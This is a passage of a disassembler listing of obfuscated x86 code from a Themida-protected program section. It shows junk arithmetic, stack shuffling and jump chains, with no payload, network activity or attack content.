XREF: sub_56755A+331Bj pop ebp pop ebx jmp loc_56FC68 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_56A558: ; CODE XREF: Themida_:0056B796j sub esp, 4 mov [esp], eax mov eax, 33E7F14h shl eax, 7 jmp loc_5614BC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56A56E: ; CODE XREF: sub_56755A-4F3Aj pop edx add edx, 4 push edi mov edi, 501518CAh and edi, 307A6199h sub edi, 57345523h not edi jmp sub_562F62 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55D71E loc_56A58E: ; CODE XREF: sub_55D71E+12856j mov ah, cl mov bl, ah pop eax push edx mov dl, bl jmp loc_56B8A3 ; END OF FUNCTION CHUNK FOR sub_55D71E ; --------------------------------------------------------------------------- loc_56A59B: ; CODE XREF: Themida_:005619CAj xor al, 0DFh jmp loc_56F2A8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56A5A2: ; CODE XREF: sub_56755A-963Dj push eax mov eax, 35296DCCh neg eax jmp loc_560026 ; --------------------------------------------------------------------------- loc_56A5AF: ; CODE XREF: sub_56755A-90CEj mov esp, [esp+16h+var_18+2] rol byte ptr [esp+16h+var_18+2], cl pushf jmp loc_55B555 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_56A5BB: ; CODE XREF: Themida_:00561BCBj mov [esp], eax mov eax, 75721A9Bh dec eax jmp loc_5685BE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_568D4B loc_56A5C9: ; CODE XREF: sub_568D4B+4CAj mov esi, eax pop eax push ebx mov ebx, 14A5501Ah shr ebx, 5 or ebx, 5A4E5679h xor ebx, 7F8F5F15h sub eax, ebx pop ebx add eax, esi add eax, 256021ECh jmp loc_56B719 ; END OF FUNCTION CHUNK FOR sub_568D4B ; --------------------------------------------------------------------------- loc_56A5F0: ; CODE XREF: Themida_:0056015Dj mov esp, [esp] push dword ptr [esp] mov eax, [esp] add esp, 4 push edi push esp mov edi, [esp] add esp, 4 push 2B9Dh mov [esp], edx push eax mov eax, 138023CEh jmp loc_569A98 ; --------------------------------------------------------------------------- loc_56A61D: ; CODE XREF: Themida_:0056DC02j add ecx, 11E6862h add ecx, 3D01114Bh push ebp mov ebp, esp add ebp, 4 push esi mov esi, 4 jmp loc_566F24 ; --------------------------------------------------------------------------- loc_56A63D: ; CODE XREF: Themida_:0056C0CEj pop ebx jmp loc_56A546 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56A643: ; CODE XREF: sub_56755A+198Bj sub eax, 4 xchg eax, [esp+6+var_8+2] mov esp, [esp+6+var_8+2] mov [esp+6+var_8+2], ebx mov bl, 0F9h sub esp, 4 mov [esp+0Ah+var_C+2], eax push ebx mov bl, 0BEh shl bl, 5 xor bl, 2Ch neg bl xor bl, 0B9h mov al, bl jmp loc_56D3AC ; --------------------------------------------------------------------------- loc_56A66E: ; CODE XREF: sub_56755A-204Fj mov [esp+8+var_8], ecx jmp loc_56494E ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56E89A loc_56A676: ; CODE XREF: sub_56E89A+FDCj push esp pop ebp add ebp, 4 jmp loc_562859 ; END OF FUNCTION CHUNK FOR sub_56E89A ; --------------------------------------------------------------------------- loc_56A683: ; CODE XREF: Themida_:00569679j mov esi, 6602723h add esi, ebp pop ebp add esi, 60E27A1Bh push 55A9h mov [esp], ecx jmp loc_5680FB ; --------------------------------------------------------------------------- loc_56A69E: ; CODE XREF: Themida_:0056F9DCj push dword ptr [esp] pop ecx add esp, 4 sub al, 1Bh sub al, bl add al, 1Bh mov ebx, [esp] jmp loc_55D50E ; --------------------------------------------------------------------------- loc_56A6B6: ; CODE XREF: Themida_:0055F8B9j xor ecx, [esp] jmp loc_564B0C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56A6BE: ; CODE XREF: sub_56755A-115j shl edx, 1 push 4C98h mov [esp+10h+var_10], esi jmp sub_56AA40 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_56A6CD: ; CODE XREF: Themida_:00565C1Dj add al, 68h push ebx mov bh, 42h and bh, 52h push ecx mov ecx, esp jmp loc_56F6D3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56A6DD: ; CODE XREF: sub_56755A+8A65j push [esp+10h+var_10] pop esi push ecx jmp loc_56E8F3 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56572D loc_56A6E7: ; CODE XREF: sub_56572D+8315j pop ebp add ecx, 98D4C493h add edx, ecx mov ecx, [esp-8+arg_4] add esp, 4 jmp loc_55B555 ; END OF FUNCTION CHUNK FOR sub_56572D ; --------------------------------------------------------------------------- loc_56A6FB: ; CODE XREF: Themida_:005690BBj pop esi or esi, 7E1D7B65h shr esi, 4 sub esi, 0F1F23ACh xor esi, 9A12ADFAh mov ebp, esi pop esi xor ebp, 0EDC5512h or ebp, 58D0040Eh xor ebp, 2B573416h sub eax, 69B21361h sub eax, ebp add eax, 69B21361h pop ebp push ebp mov ebp, 5E874FD2h sub [esp+4], ebp pop ebp add [esp], eax push edx push eax jmp loc_566CE0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56A748: ; CODE XREF: sub_56755A+4027j push edx push ecx push 34757CEAh jmp loc_56B862 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_56A754: ; CODE XREF: Themida_:0055D6FEj add ebp, 25CE74DBh or ebp, 970571Bh xor ebp, 0C3AC56h sub edx, ebp pop ebp push dword ptr [esp] pop ecx add esp, 4 add edx, 4 push edx push dword ptr [esp+4] mov edx, [esp] jmp loc_56C485 ; --------------------------------------------------------------------------- loc_56A780: ; CODE XREF: Themida_:0056BFFDj add cl, 82h jmp loc_569C32 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56A788: ; CODE XREF: sub_56755A-74DFj mov [esp+8+var_8], ebx push eax jmp loc_55C7F1 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_56A791: ; CODE XREF: Themida_:0055D8F5j add edx, 35A75AFBh add edx, 26E434ADh sub esp, 4 mov [esp], eax mov eax, 25990D8Dh add edx, eax pop eax mov eax, edx pop edx add ebp, 7BB66430h jmp loc_567192 ; --------------------------------------------------------------------------- loc_56A7B9: ; CODE XREF: Themida_:005627E9j push 424Fh mov [esp], edx jmp loc_55DC86 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55FFC1 loc_56A7C6: ; CODE XREF: sub_55FFC1+D585j mov ebx, 0 add ebx, ecx jmp loc_55CC07 ; END OF FUNCTION CHUNK FOR sub_55FFC1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56A7D2: ; CODE XREF: sub_56755A-589Ej push edx mov edx, 21F6662Ch add edi, edx pop edx pop edx add edi, 0B6C854B7h add ebx, edi pop edi jmp loc_55FBF9 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55CD7B loc_56A7EA: ; CODE XREF: sub_55CD7B+49CEj and eax, edx push dword ptr [esp+0] jmp loc_56B5D6 ; END OF FUNCTION CHUNK FOR sub_55CD7B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55E931 loc_56A7F4: ; CODE XREF: sub_55E931+5F67j sub ebp, 0A0AA7ECDh mov ebx, ebp pop ebp shl ebx, 7 sub ebx, 0C7C06C49h jmp loc_569953 ; END OF FUNCTION CHUNK FOR sub_55E931 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56971C loc_56A80B: ; CODE XREF: sub_56971C-5BADj mov esp, [esp+4+var_4] jmp loc_56E43E ; END OF FUNCTION CHUNK FOR sub_56971C ; --------------------------------------------------------------------------- loc_56A813: ; CODE XREF: Themida_:0056B94Ej push dword ptr [esp] pop ebx push eax jmp loc_55CD33 ; --------------------------------------------------------------------------- loc_56A81D: ; CODE XREF: Themida_:0055F614j add esi, 39061772h sub esi, 341C0E5Ah jmp loc_5628BC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56B62C loc_56A82E: ; CODE XREF: sub_56B62C-94D0j push eax push ebx mov bh, 0B0h not bh push eax mov ah, 0D8h jmp loc_55DD11 ; END OF FUNCTION CHUNK FOR sub_56B62C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55C719 loc_56A83C: ; CODE XREF: sub_55C719+A806j mov edx, 3F0E761Fh mov esi, 0DC4EA361h add esi, edx pop edx jmp sub_56CB7D ; END OF FUNCTION CHUNK FOR sub_55C719 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56A84E: ; CODE XREF: sub_56755A-8F4Bj shl eax, 1 push edi jmp loc_56FA84 ; --------------------------------------------------------------------------- loc_56A856: ; CODE XREF: sub_56755A-5D6Dj push [esp+38h+var_38] pop ebp sub esp, 4 mov [esp+3Ch+var_3C], ebx push 6F5h mov [esp+40h+var_40], esp push ebp mov ebp, 4 add [esp+44h+var_40], ebp jmp loc_56A551 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_56A87A: ; CODE XREF: Themida_:0056DE08j push dword ptr [esp] pop edi add esp, 4 sub esp, 4 mov [esp], eax mov eax, 2A5525CDh shl eax, 2 jmp loc_56FF95 ; --------------------------------------------------------------------------- loc_56A897: ; CODE XREF: Themida_:0056C28Ej mov eax, esp add eax, 4 push ecx mov ecx, 4 sub eax, ecx pop ecx xchg eax, [esp] pop esp push 54A3h jmp loc_565F31 ; --------------------------------------------------------------------------- loc_56A8B5: ; CODE XREF: Themida_:005646F4j mov [esp], esi push ebp mov ebp, 59DB7129h or ebp, 54CB438Fh add ebp, 0BD13BD9Ch mov esi, ebp jmp loc_56C238 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56A8D1: ; CODE XREF: sub_56755A-6CDEj pop edx add edx, 4 add edx, 4 xor edx, [esp+1Ah+var_1C+2] jmp loc_55CA0E ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_56A8E3: ; CODE XREF: Themida_:0055DC5Dj pop edx jmp loc_55D652 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5615A9 loc_56A8E9: ; CODE XREF: sub_5615A9-1095j add esp, 2 add bh, 0FFh jmp loc_5663CE ; END OF FUNCTION CHUNK FOR sub_5615A9 ; --------------------------------------------------------------------------- loc_56A8F4: ; CODE XREF: Themida_:0056EBFCj sub eax, 0FFFFFFFFh or eax, 48D3402Dh neg eax push 4BD4h mov [esp], ebx mov ebx, 40552C7Dh jmp loc_56DE0D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55BA18 loc_56A912: ; CODE XREF: sub_55BA18+A831j pop ebx push ecx jmp loc_568FA8 ; END OF FUNCTION CHUNK FOR sub_55BA18 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56971C loc_56A919: ; CODE XREF: sub_56971C-4D48j pop ebx jmp loc_55BE35 ; END OF FUNCTION CHUNK FOR sub_56971C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56A91F: ; CODE XREF: sub_56755A+5C48j pop ebx push edx mov edx, esp push 72E5h mov [esp+1Eh+var_20+2], eax mov eax, 58AF2B22h and eax, 71F27068h and eax, 0DD863E4h push edx mov edx, 40DF5E27h push edx mov edx, 86906D2h jmp loc_566D95 ; --------------------------------------------------------------------------- loc_56A94B: ; CODE XREF: sub_56755A+6D34j push cx jmp loc_567E06 ; --------------------------------------------------------------------------- loc_56A952: ; CODE XREF: sub_56755A-56A3j add ebx, 4B9E1EEAh mov edx, [esp+4+var_4] push ebp push esp mov ebp, [esp+0Ch+var_C] jmp loc_570160 ; --------------------------------------------------------------------------- loc_56A965: ; CODE XREF: sub_56755A-6414j mov [esp+22h+var_24+2], ebx mov ebx, 4 add edi, ebx pop ebx xchg edi, [esp+1Eh+var_20+2] pop esp add edx, 32E40E9Bh add edx, 35946285h add edx, ebp sub edx, 35946285h sub edx, 32E40E9Bh jmp loc_56692B ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56E89A loc_56A993: ; CODE XREF: sub_56E89A-C039j pop ebp pop [esp+14h+var_14] jmp loc_5607CA ; END OF FUNCTION CHUNK FOR sub_56E89A ; --------------------------------------------------------------------------- loc_56A99C: ; CODE XREF: Themida_:0055EE9Fj push dword ptr [esp+4] mov ebp, [esp] push ecx push esp pop ecx jmp loc_564A28 ; --------------------------------------------------------------------------- loc_56A9AB: ; CODE XREF: Themida_:0056457Fj or [edi+1Ch], edx push dword ptr [esp] mov edx, [esp] add esp, 4 jmp loc_568222 ; --------------------------------------------------------------------------- loc_56A9BC: ; CODE XREF: Themida_:00563052j xor eax, 5BBE3C86h add ebx, eax pop eax sub ebx, 2 xchg ebx, [esp] jmp loc_5625CD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56A9D2: ; CODE XREF: sub_56755A+7851j mov esi, [esp+1Ah+var_1C+2] jmp loc_56AA76 ; --------------------------------------------------------------------------- loc_56A9DA: ; CODE XREF: sub_56755A-63F8j push 139Dh mov [esp+2Ah+var_2C+2], edi push 7B8236A3h pop edi sub edi, 1 sub edi, 7826E711h jmp loc_569D92 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_56A9F6: ; CODE XREF: Themida_:0055FE0Ej push 0CCDh mov [esp], ecx push ebx jmp loc_55F4C8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56AA04: ; CODE XREF: sub_56755A-2895j sub ecx, ebp mov ebp, [esp+30h+var_30] add esp, 4 neg ecx sub esp, 4 mov [esp+30h+var_30], eax mov eax, 53183956h and ecx, eax jmp loc_563925 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56F653 loc_56AA23: ; CODE XREF: sub_56F653-429Fj or ch, dl pop edx and ch, 52h push eax mov al, 0ACh jmp loc_56E26B ; END OF FUNCTION CHUNK FOR sub_56F653 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_565F9F loc_56AA31: ; CODE XREF: sub_565F9F+2329j push esi push [esp+arg_0] pop esi pop dword ptr [esp+0] pop esp jmp loc_56D5DC ; END OF FUNCTION CHUNK FOR sub_565F9F ; =============== S U B R O U T I N E ======================================= sub_56AA40 proc near ; CODE XREF: sub_56755A+316Ej var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0055DD7D SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0056411B SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0056C714 SIZE 00000022 BYTES ; FUNCTION CHUNK AT 0056DFDF SIZE 0000000C BYTES push ebp mov ebp, 1 jmp loc_55DD7D sub_56AA40 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55FE13 loc_56AA4B: ; CODE XREF: sub_55FE13+2042j push small 16FCh jmp loc_569A7F ; END OF FUNCTION CHUNK FOR sub_55FE13 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56885A loc_56AA54: ; CODE XREF: sub_56885A-A3E8j shr eax, 0Ah xor eax, ecx xor eax, ebp xor ebp, eax xor eax, ebp xchg ebx, ebp not ebx jmp sub_56BFA1 ; END OF FUNCTION CHUNK FOR sub_56885A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56AA68: ; CODE XREF: sub_56755A-50D7j mov esp, [esp-14h+arg_10] add eax, 4 push edx jmp loc_56501B ; --------------------------------------------------------------------------- loc_56AA76: ; CODE XREF: sub_56755A+347Bj add esp, 4 shr eax, 0Ch jmp loc_56D64E ; --------------------------------------------------------------------------- loc_56AA84: ; CODE XREF: sub_56755A-7BAEj add ecx, 46924B84h mov eax, [esp-10h+arg_C] jmp loc_56541E ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_56AA92: ; CODE XREF: Themida_:00561ECBj xor edx, 3B091820h sub edx, 224B6A53h jmp loc_56FCE8 ; --------------------------------------------------------------------------- loc_56AAA3: ; CODE XREF: Themida_:0055FCB0j sub ebx, ebp pop ebp jmp loc_55ED71 ; --------------------------------------------------------------------------- loc_56AAAB: ; CODE XREF: Themida_:0056D47Bj add eax, ecx add eax, 7D2F1C5Eh push edi mov edi, 4ACA011Eh dec edi dec edi inc edi and edi, 0A445884h sub edi, 9E4092B3h add eax, edi jmp loc_56E2D4 ; --------------------------------------------------------------------------- loc_56AACE: ; CODE XREF: Themida_:0056EFD7j push dword ptr [esp] push dword ptr [esp] pop eax add esp, 4 add esp, 4 push 0DC7h mov [esp], ebx jmp loc_55C7D0 ; --------------------------------------------------------------------------- loc_56AAE8: ; CODE XREF: Themida_:0056E51Cj pop edx shr eax, 2 jmp loc_55DE4A ; --------------------------------------------------------------------------- loc_56AAF1: ; CODE XREF: Themida_:0055C43Cj mov esp, [esp] dec dword ptr [esp] pushf jmp loc_55B555 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56AAFD: ; CODE XREF: sub_56755A+3DB1j push 5B12h mov [esp-0Ch+arg_8], ecx mov ecx, esp push edi mov edi, 16C469B7h jmp loc_55F417 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56A468 loc_56AB12: ; CODE XREF: sub_56A468-6B83j xor ebp, ecx xor ecx, ebp xor ebp, ecx push esi push eax mov eax, 1F3A686Fh add eax, 0EBB3C2B0h mov esi, eax pop eax sub esi, 39E484CDh add ebp, 328E15A6h sub ebp, esi sub ebp, 328E15A6h pop esi jmp loc_562640 ; END OF FUNCTION CHUNK FOR sub_56A468 ; --------------------------------------------------------------------------- loc_56AB41: ; CODE XREF: Themida_:00569D0Fj mov dh, ch mov al, dh mov edx, [esp] add esp, 4 pop ecx mov edx, [esp] add esp, 4 mov cl, [esp+4] mov [esp+4], al mov eax, [esp] add esp, 4 jmp loc_55B555 ; --------------------------------------------------------------------------- loc_56AB6B: ; CODE XREF: Themida_:0055D9A1j add ecx, ebx pop ebx push edi push 4 jmp loc_55F125 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56AB79: ; CODE XREF: sub_56755A-7365j xor ebx, edi jmp loc_566120 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- lodsb push ebp mov ebp, esp add ebp, 4 sub ebp, 4 jmp loc_55BD35 ; --------------------------------------------------------------------------- loc_56AB92: ; CODE XREF: Themida_:00562CF6j pop edx sub ebp, 4 xchg ebp, [esp] mov esp, [esp] jmp loc_5689F9 ; --------------------------------------------------------------------------- loc_56ABA4: ; CODE XREF: Themida_:0055D10Cj mov dl, 0BFh or dl, 2 or dl, 0E3h jmp loc_55D011 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_566504 loc_56ABB1: ; CODE XREF: sub_566504+3E57j add ebx, 69B96BB9h jmp loc_5656F3 ; END OF FUNCTION CHUNK FOR sub_566504 ; --------------------------------------------------------------------------- loc_56ABBC: ; CODE XREF: Themida_:0056FDC2j pop ebp jmp loc_562838 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56CB7D loc_56ABC2: ; CODE XREF: sub_56CB7D-F9C8j pop ebp add ebp, 4 push edi jmp loc_56B9D3 ; END OF FUNCTION CHUNK FOR sub_56CB7D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56ABCF: ; CODE XREF: sub_56755A+979j not cl push 21A3h mov [esp+10h+var_10], eax jmp loc_56F802 ; --------------------------------------------------------------------------- loc_56ABDE: ; CODE XREF: sub_56755A-310Dj mov esp, [esp+16h+var_18+2] mov [esp+16h+var_18+2], edi mov edi, 55405A2Dh jmp loc_568F81 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_56ABEE: ; CODE XREF: Themida_:00562A1Dj add eax, 2C134C99h push ebp mov ebp, 3E48674Dh inc ebp jmp loc_560115 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56A500 loc_56ABFF: ; CODE XREF: sub_56A500+1918j pop ebx push esi mov esi, 4 jmp loc_56B7BE ; END OF FUNCTION CHUNK FOR sub_56A500 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56AC0B: ; CODE XREF: sub_56755A-7517j mov [esp+0], eax mov eax, 5DDA303Eh and eax, 2EB23A47h jmp loc_569996 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_56AC1D: ; CODE XREF: Themida_:0056E5A8j mov edi, 603D0C02h or edi, 4DB61CFCh add edi, 9240E306h sub eax, edi pop edi xchg eax, [esp] jmp loc_55FF0E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56AC39: ; CODE XREF: sub_56755A+65Fj jmp loc_55B555 ; --------------------------------------------------------------------------- loc_56AC3E: ; CODE XREF: sub_56755A+719Dj sub ebp, 232F95C8h xor eax, ebp pop ebp add edx, eax pop eax push 7A08h jmp loc_56B080 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_56AC54: ; CODE XREF: Themida_:0056CC90j pop esi pop ebp mov esi, [esp] add esp, 4 sub esp, 4 jmp loc_55EF9A ; --------------------------------------------------------------------------- loc_56AC67: ; CODE XREF: Themida_:00560A67j add ecx, 6B92223Eh push edi mov edi, 1FDC16C5h add edi, 17695331h add ecx, edi pop edi jmp loc_55E74B ; =============== S U B R O U T I N E ======================================= sub_56AC81 proc near ; CODE XREF: sub_56755A-1106j var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00561C7F SIZE 00000028 BYTES ; FUNCTION CHUNK AT 00563E9E SIZE 0000001B BYTES ; FUNCTION CHUNK AT 005640C5 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0056E9E5 SIZE 00000006 BYTES sub esp, 4 mov [esp+4+var_4], edi push dword ptr [esp+4] mov edi, [esp+8+var_8] push ebp mov ebp, esp add ebp, 4 push eax jmp loc_561C7F sub_56AC81 endp ; --------------------------------------------------------------------------- loc_56AC9D: ; CODE XREF: Themida_:00564DEBj pop esi push 2B4Bh mov [esp], eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp jmp loc_55D9E5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56E89A loc_56ACB9: ; CODE XREF: sub_56E89A-DA2Ej or ebx, ebx jnz loc_55CAC5 push ecx mov ecx, esp jmp loc_562337 ; END OF FUNCTION CHUNK FOR sub_56E89A ; --------------------------------------------------------------------------- loc_56ACC9: ; CODE XREF: Themida_:00565176j add esp, 4 push 4C54h mov [esp], eax push esp jmp loc_55C2DE ; --------------------------------------------------------------------------- loc_56ACDD: ; CODE XREF: Themida_:00566305j pop ebx jmp loc_562DB4 ; --------------------------------------------------------------------------- loc_56ACE3: ; CODE XREF: Themida_:0055F6EFj push ebp push 6100h mov [esp], esp add dword ptr [esp], 4 mov ebp, [esp] add esp, 4 push ecx mov ecx, 4 sub ebp, 2FE62A60h add ebp, ecx add ebp, 2FE62A60h jmp loc_561702 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56AD0F: ; CODE XREF: sub_56755A+5CD9j push 68E3h mov [esp+28h+var_28], edi jmp loc_55D271 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_56AD1C: ; CODE XREF: Themida_:00566FE1j pop esi add ebx, 4 sub esp, 4 mov [esp], ebx push dword ptr [esp+4] push dword ptr [esp] pop ebx add esp, 4 pop dword ptr [esp] mov esp, [esp] bt [esp], eax pushf jmp loc_55B555 ; --------------------------------------------------------------------------- loc_56AD44: ; CODE XREF: Themida_:0055D851j mov eax, esp push 7EDBh mov [esp], esi jmp loc_55D007 ; --------------------------------------------------------------------------- loc_56AD53: ; CODE XREF: Themida_:00564490j mov ebp, 0E03A4CB3h xor ebx, ebp mov ebp, [esp] add esp, 4 push ebp jmp loc_55B919 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56AD66: ; CODE XREF: sub_56755A-AE92j add esp, 4 shr edi, 6 add edi, 0FE7EE9E4h and eax, edi push [esp+1Ah+var_1C+2] jmp loc_566215 ; --------------------------------------------------------------------------- loc_56AD7F: ; CODE XREF: sub_56755A-AF03j add ebp, 4 push edx push edi mov edi, esp jmp loc_5689B7 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55FDEF loc_56AD8E: ; CODE XREF: sub_55FDEF-1516j add ebx, edx pop edx add ebx, eax sub ebx, 3026742h push eax sub esp, 4 mov [esp+0Ch+var_C], ecx jmp loc_560D1D ; END OF FUNCTION CHUNK FOR sub_55FDEF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56ADA5: ; CODE XREF: sub_56755A-33C0j mov [esp+12h+var_14+2], ebx jmp loc_56C137 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_56ADAD: ; CODE XREF: Themida_:005700B2j pop ebx xor bl, ah pop eax push edx jmp loc_56DA4F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56F7FC loc_56ADB7: ; CODE XREF: sub_56F7FC-4418j add ebp, 4 xor ebp, [esp-8+arg_4] xor [esp-8+arg_4], ebp xor ebp, [esp-8+arg_4] jmp loc_563FF4 ; END OF FUNCTION CHUNK FOR sub_56F7FC ; --------------------------------------------------------------------------- loc_56ADC8: ; CODE XREF: Themida_:0055D346j sub eax, 2E900F9h sub edx, eax push dword ptr [esp] mov eax, [esp] jmp loc_56C967 ; =============== S U B R O U T I N E ======================================= sub_56ADDA proc near ; CODE XREF: sub_5607D3+6C59j ; FUNCTION CHUNK AT 005672F1 SIZE 0000000D BYTES push ebx jmp loc_5672F1 sub_56ADDA endp ; --------------------------------------------------------------------------- loc_56ADE0: ; CODE XREF: Themida_:00565BE0j pop edi push 669Eh mov [esp], ebx push dword ptr [esp+4] push dword ptr [esp] mov ebx, [esp] push ecx jmp loc_57032E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56ADF9: ; CODE XREF: sub_56755A-6784j mov [esp+0Ch+var_C], ebp not [esp+0Ch+var_C] mov ebp, [esp+0Ch+var_C] add esp, 4 shr ebp, 1 push eax mov eax, 597B3BF9h push eax inc [esp+10h+var_10] pop eax dec eax xor eax, 77947D9Ah xchg eax, edi push edi not [esp+10h+var_10] jmp loc_5612D5 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_56AE25: ; CODE XREF: Themida_:0055DE32j movzx cx, al push cx pushf jmp loc_55B555 ; --------------------------------------------------------------------------- loc_56AE31: ; CODE XREF: Themida_:00562FEFj sub ebp, 57162B97h add ebp, esi add ebp, 57162B97h push dword ptr [esp] pop esi add esp, 4 add ebp, edx push 7575h mov [esp], ebx mov ebx, 7F603909h jmp loc_566652 ; --------------------------------------------------------------------------- movzx ax, byte ptr fs:[edx] jmp loc_5636F7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56AE64: ; CODE XREF: sub_56755A-8116j add cl, 0Ah jmp loc_5647D0 ; END OF FUNCTION CHUNK FOR sub_56755A ; =============== S U B R O U T I N E ======================================= sub_56AE6C proc near ; CODE XREF: sub_56755A+573Dj var_8 = dword ptr -8 ; FUNCTION CHUNK AT 0056B8D5 SIZE 00000010 BYTES push ebx jmp loc_56B8D5 sub_56AE6C endp ; =============== S U B R O U T I N E ======================================= sub_56AE72 proc near ; CODE XREF: sub_56755A+6563j var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0055BE21 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0055E401 SIZE 0000001F BYTES ; FUNCTION CHUNK AT 00566332 SIZE 00000030 BYTES ; FUNCTION CHUNK AT 005668FA SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00567122 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0056D3C3 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0056DE9D SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0056F923 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0056FE06 SIZE 0000000C BYTES push ebx mov ebx, 4 jmp loc_567122 sub_56AE72 endp ; --------------------------------------------------------------------------- loc_56AE7D: ; CODE XREF: Themida_:0055D05Ej mov edx, esp sub esp, 4 jmp loc_55EA56 ; --------------------------------------------------------------------------- loc_56AE87: ; CODE XREF: Themida_:0056DA13j add ecx, edi sub ecx, 275F0893h jmp loc_560ACF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A 